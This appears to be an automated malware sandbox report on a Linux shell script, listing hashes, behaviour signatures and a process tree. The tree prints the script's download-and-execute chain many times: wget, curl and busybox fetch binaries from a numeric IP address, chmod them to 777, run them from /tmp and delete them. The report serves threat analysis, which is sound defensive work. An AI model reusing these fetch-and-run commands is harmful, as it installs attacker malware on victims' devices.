Analysis

  • max time kernel
    18s
  • max time network
    34s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    01-11-2024 02:32

General

  • Target

    27bdec6357a37139b79c10dced5ac64bea35e010a9c2e7e92cb715d7734fffbb.sh

  • Size

    10KB

  • MD5

    0e701247eed8c2ac85ce4310d37e674d

  • SHA1

    7ca0caf639c6d80baffe549e24e3018daaa8bbb8

  • SHA256

    27bdec6357a37139b79c10dced5ac64bea35e010a9c2e7e92cb715d7734fffbb

  • SHA512

    0ef0aa05143b180e5260a49f2e87ebca0ecec3ab767bbbc7bc0761a2244b20b000aaffead5bd57071f0022821063d4c4ae9bb2efac893131009c19b2f57f556b

  • SSDEEP

    96:PBRELvNSsmyUgEmy+bytMKk99ch83tkBRELvFSsQZFWyLJBmy+bytMs799chtE37:Y1myUgE5CVS3n

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 15 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 15 IoCs
  • Checks CPU configuration 1 TTPs 15 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 30 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 15 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/27bdec6357a37139b79c10dced5ac64bea35e010a9c2e7e92cb715d7734fffbb.sh
    /tmp/27bdec6357a37139b79c10dced5ac64bea35e010a9c2e7e92cb715d7734fffbb.sh
    1⤵
      PID:643
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:646
        • /usr/bin/wget
          wget http://87.120.84.230/bins/rpGQHUwVKCedv2rZ52NQukCAEyfangFC6m
          2⤵
            PID:650
          • /usr/bin/curl
            curl -O http://87.120.84.230/bins/rpGQHUwVKCedv2rZ52NQukCAEyfangFC6m
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            • Writes file to tmp directory
            PID:664
          • /bin/busybox
            /bin/busybox wget http://87.120.84.230/bins/rpGQHUwVKCedv2rZ52NQukCAEyfangFC6m
            2⤵
              PID:671
            • /bin/chmod
              chmod 777 rpGQHUwVKCedv2rZ52NQukCAEyfangFC6m
              2⤵
              • File and Directory Permissions Modification
              PID:673
            • /tmp/rpGQHUwVKCedv2rZ52NQukCAEyfangFC6m
              ./rpGQHUwVKCedv2rZ52NQukCAEyfangFC6m
              2⤵
              • Executes dropped EXE
              PID:675
            • /bin/rm
              rm rpGQHUwVKCedv2rZ52NQukCAEyfangFC6m
              2⤵
                PID:676
              • /usr/bin/wget
                wget http://87.120.84.230/bins/yFnPbQOCd1fQG8k19ZLRK92wgpRJbsXV6s
                2⤵
                  PID:677
                • /usr/bin/curl
                  curl -O http://87.120.84.230/bins/yFnPbQOCd1fQG8k19ZLRK92wgpRJbsXV6s
                  2⤵
                  • Checks CPU configuration
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:678
                • /bin/busybox
                  /bin/busybox wget http://87.120.84.230/bins/yFnPbQOCd1fQG8k19ZLRK92wgpRJbsXV6s
                  2⤵
                    PID:679
                  • /bin/chmod
                    chmod 777 yFnPbQOCd1fQG8k19ZLRK92wgpRJbsXV6s
                    2⤵
                    • File and Directory Permissions Modification
                    PID:684
                  • /tmp/yFnPbQOCd1fQG8k19ZLRK92wgpRJbsXV6s
                    ./yFnPbQOCd1fQG8k19ZLRK92wgpRJbsXV6s
                    2⤵
                    • Executes dropped EXE
                    PID:686
                  • /bin/rm
                    rm yFnPbQOCd1fQG8k19ZLRK92wgpRJbsXV6s
                    2⤵
                      PID:687
                    • /usr/bin/wget
                      wget http://87.120.84.230/bins/jNcFxYwoV2rAUSyqtGN2RAWbZKxtwyJgk4
                      2⤵
                        PID:689
                      • /usr/bin/curl
                        curl -O http://87.120.84.230/bins/jNcFxYwoV2rAUSyqtGN2RAWbZKxtwyJgk4
                        2⤵
                        • Checks CPU configuration
                        • Reads runtime system information
                        • Writes file to tmp directory
                        PID:695
                      • /bin/busybox
                        /bin/busybox wget http://87.120.84.230/bins/jNcFxYwoV2rAUSyqtGN2RAWbZKxtwyJgk4
                        2⤵
                          PID:702
                        • /bin/chmod
                          chmod 777 jNcFxYwoV2rAUSyqtGN2RAWbZKxtwyJgk4
                          2⤵
                          • File and Directory Permissions Modification
                          PID:706
                        • /tmp/jNcFxYwoV2rAUSyqtGN2RAWbZKxtwyJgk4
                          ./jNcFxYwoV2rAUSyqtGN2RAWbZKxtwyJgk4
                          2⤵
                          • Executes dropped EXE
                          PID:708
                        • /bin/rm
                          rm jNcFxYwoV2rAUSyqtGN2RAWbZKxtwyJgk4
                          2⤵
                            PID:709
                          • /usr/bin/wget
                            wget http://87.120.84.230/bins/6wRKuq6zGCUhxwh381Y6UHgfV4YL8jFcys
                            2⤵
                              PID:710
                            • /usr/bin/curl
                              curl -O http://87.120.84.230/bins/6wRKuq6zGCUhxwh381Y6UHgfV4YL8jFcys
                              2⤵
                              • Checks CPU configuration
                              • Reads runtime system information
                              • Writes file to tmp directory
                              PID:716
                            • /bin/busybox
                              /bin/busybox wget http://87.120.84.230/bins/6wRKuq6zGCUhxwh381Y6UHgfV4YL8jFcys
                              2⤵
                                PID:723
                              • /bin/chmod
                                chmod 777 6wRKuq6zGCUhxwh381Y6UHgfV4YL8jFcys
                                2⤵
                                • File and Directory Permissions Modification
                                PID:729
                              • /tmp/6wRKuq6zGCUhxwh381Y6UHgfV4YL8jFcys
                                ./6wRKuq6zGCUhxwh381Y6UHgfV4YL8jFcys
                                2⤵
                                • Executes dropped EXE
                                PID:731
                              • /bin/rm
                                rm 6wRKuq6zGCUhxwh381Y6UHgfV4YL8jFcys
                                2⤵
                                  PID:732
                                • /usr/bin/wget
                                  wget http://87.120.84.230/bins/5yvUIoKrQrh6YKqWUE0PSxnUJz7TDzbgCh
                                  2⤵
                                    PID:733
                                  • /usr/bin/curl
                                    curl -O http://87.120.84.230/bins/5yvUIoKrQrh6YKqWUE0PSxnUJz7TDzbgCh
                                    2⤵
                                    • Checks CPU configuration
                                    • Reads runtime system information
                                    • Writes file to tmp directory
                                    PID:740
                                  • /bin/busybox
                                    /bin/busybox wget http://87.120.84.230/bins/5yvUIoKrQrh6YKqWUE0PSxnUJz7TDzbgCh
                                    2⤵
                                      PID:742
                                    • /bin/chmod
                                      chmod 777 5yvUIoKrQrh6YKqWUE0PSxnUJz7TDzbgCh
                                      2⤵
                                      • File and Directory Permissions Modification
                                      PID:744
                                    • /tmp/5yvUIoKrQrh6YKqWUE0PSxnUJz7TDzbgCh
                                      ./5yvUIoKrQrh6YKqWUE0PSxnUJz7TDzbgCh
                                      2⤵
                                      • Executes dropped EXE
                                      PID:746
                                    • /bin/rm
                                      rm 5yvUIoKrQrh6YKqWUE0PSxnUJz7TDzbgCh
                                      2⤵
                                        PID:747
                                      • /usr/bin/wget
                                        wget http://87.120.84.230/bins/kC7HpW6gtPSIujAMozgBOsauSzKfTjwvO7
                                        2⤵
                                          PID:748
                                        • /usr/bin/curl
                                          curl -O http://87.120.84.230/bins/kC7HpW6gtPSIujAMozgBOsauSzKfTjwvO7
                                          2⤵
                                          • Checks CPU configuration
                                          • Reads runtime system information
                                          • Writes file to tmp directory
                                          PID:751
                                        • /bin/busybox
                                          /bin/busybox wget http://87.120.84.230/bins/kC7HpW6gtPSIujAMozgBOsauSzKfTjwvO7
                                          2⤵
                                            PID:758
                                          • /bin/chmod
                                            chmod 777 kC7HpW6gtPSIujAMozgBOsauSzKfTjwvO7
                                            2⤵
                                            • File and Directory Permissions Modification
                                            PID:763
                                          • /tmp/kC7HpW6gtPSIujAMozgBOsauSzKfTjwvO7
                                            ./kC7HpW6gtPSIujAMozgBOsauSzKfTjwvO7
                                            2⤵
                                            • Executes dropped EXE
                                            PID:764
                                          • /bin/rm
                                            rm kC7HpW6gtPSIujAMozgBOsauSzKfTjwvO7
                                            2⤵
                                              PID:765
                                            • /usr/bin/wget
                                              wget http://87.120.84.230/bins/NROXbURA4DVm1ngj1Tu17e4f45s2CdpPUK
                                              2⤵
                                                PID:767
                                              • /usr/bin/curl
                                                curl -O http://87.120.84.230/bins/NROXbURA4DVm1ngj1Tu17e4f45s2CdpPUK
                                                2⤵
                                                • Checks CPU configuration
                                                • Reads runtime system information
                                                • Writes file to tmp directory
                                                PID:773
                                              • /bin/busybox
                                                /bin/busybox wget http://87.120.84.230/bins/NROXbURA4DVm1ngj1Tu17e4f45s2CdpPUK
                                                2⤵
                                                  PID:780
                                                • /bin/chmod
                                                  chmod 777 NROXbURA4DVm1ngj1Tu17e4f45s2CdpPUK
                                                  2⤵
                                                  • File and Directory Permissions Modification
                                                  PID:785
                                                • /tmp/NROXbURA4DVm1ngj1Tu17e4f45s2CdpPUK
                                                  ./NROXbURA4DVm1ngj1Tu17e4f45s2CdpPUK
                                                  2⤵
                                                  • Executes dropped EXE
                                                  PID:786
                                                • /bin/rm
                                                  rm NROXbURA4DVm1ngj1Tu17e4f45s2CdpPUK
                                                  2⤵
                                                    PID:787
                                                  • /usr/bin/wget
                                                    wget http://87.120.84.230/bins/oieViux5SkcOflukQEESWqzwe8qoXmU0do
                                                    2⤵
                                                      PID:789
                                                    • /usr/bin/curl
                                                      curl -O http://87.120.84.230/bins/oieViux5SkcOflukQEESWqzwe8qoXmU0do
                                                      2⤵
                                                      • Checks CPU configuration
                                                      • Reads runtime system information
                                                      • Writes file to tmp directory
                                                      PID:791
                                                    • /bin/busybox
                                                      /bin/busybox wget http://87.120.84.230/bins/oieViux5SkcOflukQEESWqzwe8qoXmU0do
                                                      2⤵
                                                        PID:792
                                                      • /bin/chmod
                                                        chmod 777 oieViux5SkcOflukQEESWqzwe8qoXmU0do
                                                        2⤵
                                                        • File and Directory Permissions Modification
                                                        PID:793
                                                      • /tmp/oieViux5SkcOflukQEESWqzwe8qoXmU0do
                                                        ./oieViux5SkcOflukQEESWqzwe8qoXmU0do
                                                        2⤵
                                                        • Executes dropped EXE
                                                        PID:794
                                                      • /bin/rm
                                                        rm oieViux5SkcOflukQEESWqzwe8qoXmU0do
                                                        2⤵
                                                          PID:795
                                                        • /usr/bin/wget
                                                          wget http://87.120.84.230/bins/rOkI1FzF5oENzG4865Ss7XWH7x89e8v5ZT
                                                          2⤵
                                                            PID:796
                                                          • /usr/bin/curl
                                                            curl -O http://87.120.84.230/bins/rOkI1FzF5oENzG4865Ss7XWH7x89e8v5ZT
                                                            2⤵
                                                            • Checks CPU configuration
                                                            • Reads runtime system information
                                                            • Writes file to tmp directory
                                                            PID:797
                                                          • /bin/busybox
                                                            /bin/busybox wget http://87.120.84.230/bins/rOkI1FzF5oENzG4865Ss7XWH7x89e8v5ZT
                                                            2⤵
                                                              PID:798
                                                            • /bin/chmod
                                                              chmod 777 rOkI1FzF5oENzG4865Ss7XWH7x89e8v5ZT
                                                              2⤵
                                                              • File and Directory Permissions Modification
                                                              PID:799
                                                            • /tmp/rOkI1FzF5oENzG4865Ss7XWH7x89e8v5ZT
                                                              ./rOkI1FzF5oENzG4865Ss7XWH7x89e8v5ZT
                                                              2⤵
                                                              • Executes dropped EXE
                                                              PID:800
                                                            • /bin/rm
                                                              rm rOkI1FzF5oENzG4865Ss7XWH7x89e8v5ZT
                                                              2⤵
                                                                PID:801
                                                              • /usr/bin/wget
                                                                wget http://87.120.84.230/bins/I1cVH6lisaA2Z5eqx6Bw6tL62giQZbYCYq
                                                                2⤵
                                                                  PID:802
                                                                • /usr/bin/curl
                                                                  curl -O http://87.120.84.230/bins/I1cVH6lisaA2Z5eqx6Bw6tL62giQZbYCYq
                                                                  2⤵
                                                                  • Checks CPU configuration
                                                                  • Reads runtime system information
                                                                  • Writes file to tmp directory
                                                                  PID:803
                                                                • /bin/busybox
                                                                  /bin/busybox wget http://87.120.84.230/bins/I1cVH6lisaA2Z5eqx6Bw6tL62giQZbYCYq
                                                                  2⤵
                                                                    PID:804
                                                                  • /bin/chmod
                                                                    chmod 777 I1cVH6lisaA2Z5eqx6Bw6tL62giQZbYCYq
                                                                    2⤵
                                                                    • File and Directory Permissions Modification
                                                                    PID:805
                                                                  • /tmp/I1cVH6lisaA2Z5eqx6Bw6tL62giQZbYCYq
                                                                    ./I1cVH6lisaA2Z5eqx6Bw6tL62giQZbYCYq
                                                                    2⤵
                                                                    • Executes dropped EXE
                                                                    PID:806
                                                                  • /bin/rm
                                                                    rm I1cVH6lisaA2Z5eqx6Bw6tL62giQZbYCYq
                                                                    2⤵
                                                                      PID:807
                                                                    • /usr/bin/wget
                                                                      wget http://87.120.84.230/bins/A7RxaBh8YMlZ9yHoHdQ1x8ztpyJYFvnnsH
                                                                      2⤵
                                                                        PID:808
                                                                      • /usr/bin/curl
                                                                        curl -O http://87.120.84.230/bins/A7RxaBh8YMlZ9yHoHdQ1x8ztpyJYFvnnsH
                                                                        2⤵
                                                                        • Checks CPU configuration
                                                                        • Reads runtime system information
                                                                        • Writes file to tmp directory
                                                                        PID:809
                                                                      • /bin/busybox
                                                                        /bin/busybox wget http://87.120.84.230/bins/A7RxaBh8YMlZ9yHoHdQ1x8ztpyJYFvnnsH
                                                                        2⤵
                                                                          PID:810
                                                                        • /bin/chmod
                                                                          chmod 777 A7RxaBh8YMlZ9yHoHdQ1x8ztpyJYFvnnsH
                                                                          2⤵
                                                                          • File and Directory Permissions Modification
                                                                          PID:811
                                                                        • /tmp/A7RxaBh8YMlZ9yHoHdQ1x8ztpyJYFvnnsH
                                                                          ./A7RxaBh8YMlZ9yHoHdQ1x8ztpyJYFvnnsH
                                                                          2⤵
                                                                          • Executes dropped EXE
                                                                          PID:812
                                                                        • /bin/rm
                                                                          rm A7RxaBh8YMlZ9yHoHdQ1x8ztpyJYFvnnsH
                                                                          2⤵
                                                                            PID:813
                                                                          • /usr/bin/wget
                                                                            wget http://87.120.84.230/bins/SKgCDzu7j9RD5Ddnm7oh5YNEzO3lHMAmkb
                                                                            2⤵
                                                                              PID:814
                                                                            • /usr/bin/curl
                                                                              curl -O http://87.120.84.230/bins/SKgCDzu7j9RD5Ddnm7oh5YNEzO3lHMAmkb
                                                                              2⤵
                                                                              • Checks CPU configuration
                                                                              • Reads runtime system information
                                                                              • Writes file to tmp directory
                                                                              PID:815
                                                                            • /bin/busybox
                                                                              /bin/busybox wget http://87.120.84.230/bins/SKgCDzu7j9RD5Ddnm7oh5YNEzO3lHMAmkb
                                                                              2⤵
                                                                                PID:816
                                                                              • /bin/chmod
                                                                                chmod 777 SKgCDzu7j9RD5Ddnm7oh5YNEzO3lHMAmkb
                                                                                2⤵
                                                                                • File and Directory Permissions Modification
                                                                                PID:817
                                                                              • /tmp/SKgCDzu7j9RD5Ddnm7oh5YNEzO3lHMAmkb
                                                                                ./SKgCDzu7j9RD5Ddnm7oh5YNEzO3lHMAmkb
                                                                                2⤵
                                                                                • Executes dropped EXE
                                                                                PID:818
                                                                              • /bin/rm
                                                                                rm SKgCDzu7j9RD5Ddnm7oh5YNEzO3lHMAmkb
                                                                                2⤵
                                                                                  PID:819
                                                                                • /usr/bin/wget
                                                                                  wget http://87.120.84.230/bins/WdgxYVaSyw3lHHZb2zWDLQ0ySbUZ0WW9KV
                                                                                  2⤵
                                                                                    PID:820
                                                                                  • /usr/bin/curl
                                                                                    curl -O http://87.120.84.230/bins/WdgxYVaSyw3lHHZb2zWDLQ0ySbUZ0WW9KV
                                                                                    2⤵
                                                                                    • Checks CPU configuration
                                                                                    • Reads runtime system information
                                                                                    • Writes file to tmp directory
                                                                                    PID:821
                                                                                  • /bin/busybox
                                                                                    /bin/busybox wget http://87.120.84.230/bins/WdgxYVaSyw3lHHZb2zWDLQ0ySbUZ0WW9KV
                                                                                    2⤵
                                                                                      PID:822
                                                                                    • /bin/chmod
                                                                                      chmod 777 WdgxYVaSyw3lHHZb2zWDLQ0ySbUZ0WW9KV
                                                                                      2⤵
                                                                                      • File and Directory Permissions Modification
                                                                                      PID:823
                                                                                    • /tmp/WdgxYVaSyw3lHHZb2zWDLQ0ySbUZ0WW9KV
                                                                                      ./WdgxYVaSyw3lHHZb2zWDLQ0ySbUZ0WW9KV
                                                                                      2⤵
                                                                                      • Executes dropped EXE
                                                                                      PID:824
                                                                                    • /bin/rm
                                                                                      rm WdgxYVaSyw3lHHZb2zWDLQ0ySbUZ0WW9KV
                                                                                      2⤵
                                                                                        PID:825
                                                                                      • /usr/bin/wget
                                                                                        wget http://87.120.84.230/bins/8lhi2T2M1qlMZiZs7ksOnBBhA5rJ47mgVA
                                                                                        2⤵
                                                                                          PID:826
                                                                                        • /usr/bin/curl
                                                                                          curl -O http://87.120.84.230/bins/8lhi2T2M1qlMZiZs7ksOnBBhA5rJ47mgVA
                                                                                          2⤵
                                                                                          • Checks CPU configuration
                                                                                          • Reads runtime system information
                                                                                          • Writes file to tmp directory
                                                                                          PID:827
                                                                                        • /bin/busybox
                                                                                          /bin/busybox wget http://87.120.84.230/bins/8lhi2T2M1qlMZiZs7ksOnBBhA5rJ47mgVA
                                                                                          2⤵
                                                                                            PID:828
                                                                                          • /bin/chmod
                                                                                            chmod 777 8lhi2T2M1qlMZiZs7ksOnBBhA5rJ47mgVA
                                                                                            2⤵
                                                                                            • File and Directory Permissions Modification
                                                                                            PID:829
                                                                                          • /tmp/8lhi2T2M1qlMZiZs7ksOnBBhA5rJ47mgVA
                                                                                            ./8lhi2T2M1qlMZiZs7ksOnBBhA5rJ47mgVA
                                                                                            2⤵
                                                                                            • Executes dropped EXE
                                                                                            PID:830
                                                                                          • /bin/rm
                                                                                            rm 8lhi2T2M1qlMZiZs7ksOnBBhA5rJ47mgVA
                                                                                            2⤵
                                                                                              PID:831
                                                                                            • /usr/bin/wget
                                                                                              wget http://87.120.84.230/bins/rpGQHUwVKCedv2rZ52NQukCAEyfangFC6m
                                                                                              2⤵
                                                                                                PID:832
                                                                                              • /usr/bin/curl
                                                                                                curl -O http://87.120.84.230/bins/rpGQHUwVKCedv2rZ52NQukCAEyfangFC6m
                                                                                                2⤵
                                                                                                • Checks CPU configuration
                                                                                                • Reads runtime system information
                                                                                                • Writes file to tmp directory
                                                                                                PID:833
                                                                                              • /bin/busybox
                                                                                                /bin/busybox wget http://87.120.84.230/bins/rpGQHUwVKCedv2rZ52NQukCAEyfangFC6m
                                                                                                2⤵
                                                                                                  PID:834
                                                                                                • /bin/chmod
                                                                                                  chmod 777 rpGQHUwVKCedv2rZ52NQukCAEyfangFC6m
                                                                                                  2⤵
                                                                                                  • File and Directory Permissions Modification
                                                                                                  PID:835
                                                                                                • /tmp/rpGQHUwVKCedv2rZ52NQukCAEyfangFC6m
                                                                                                  ./rpGQHUwVKCedv2rZ52NQukCAEyfangFC6m
                                                                                                  2⤵
                                                                                                  • Executes dropped EXE
                                                                                                  PID:836
                                                                                                • /bin/rm
                                                                                                  rm rpGQHUwVKCedv2rZ52NQukCAEyfangFC6m
                                                                                                  2⤵
                                                                                                    PID:837
                                                                                                  • /usr/bin/wget
                                                                                                    wget http://87.120.84.230/bins/yFnPbQOCd1fQG8k19ZLRK92wgpRJbsXV6s
                                                                                                    2⤵
                                                                                                      PID:838

                                                                                                  Network

                                                                                                  MITRE ATT&CK Enterprise v15

                                                                                                  Replay Monitor

                                                                                                  Loading Replay Monitor...

                                                                                                  Downloads

                                                                                                  • /tmp/rpGQHUwVKCedv2rZ52NQukCAEyfangFC6m

                                                                                                    Filesize

                                                                                                    153B

                                                                                                    MD5

                                                                                                    998368d7c95ea4293237f2320546e440

                                                                                                    SHA1

                                                                                                    30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4

                                                                                                    SHA256

                                                                                                    533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736

                                                                                                    SHA512

                                                                                                    648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97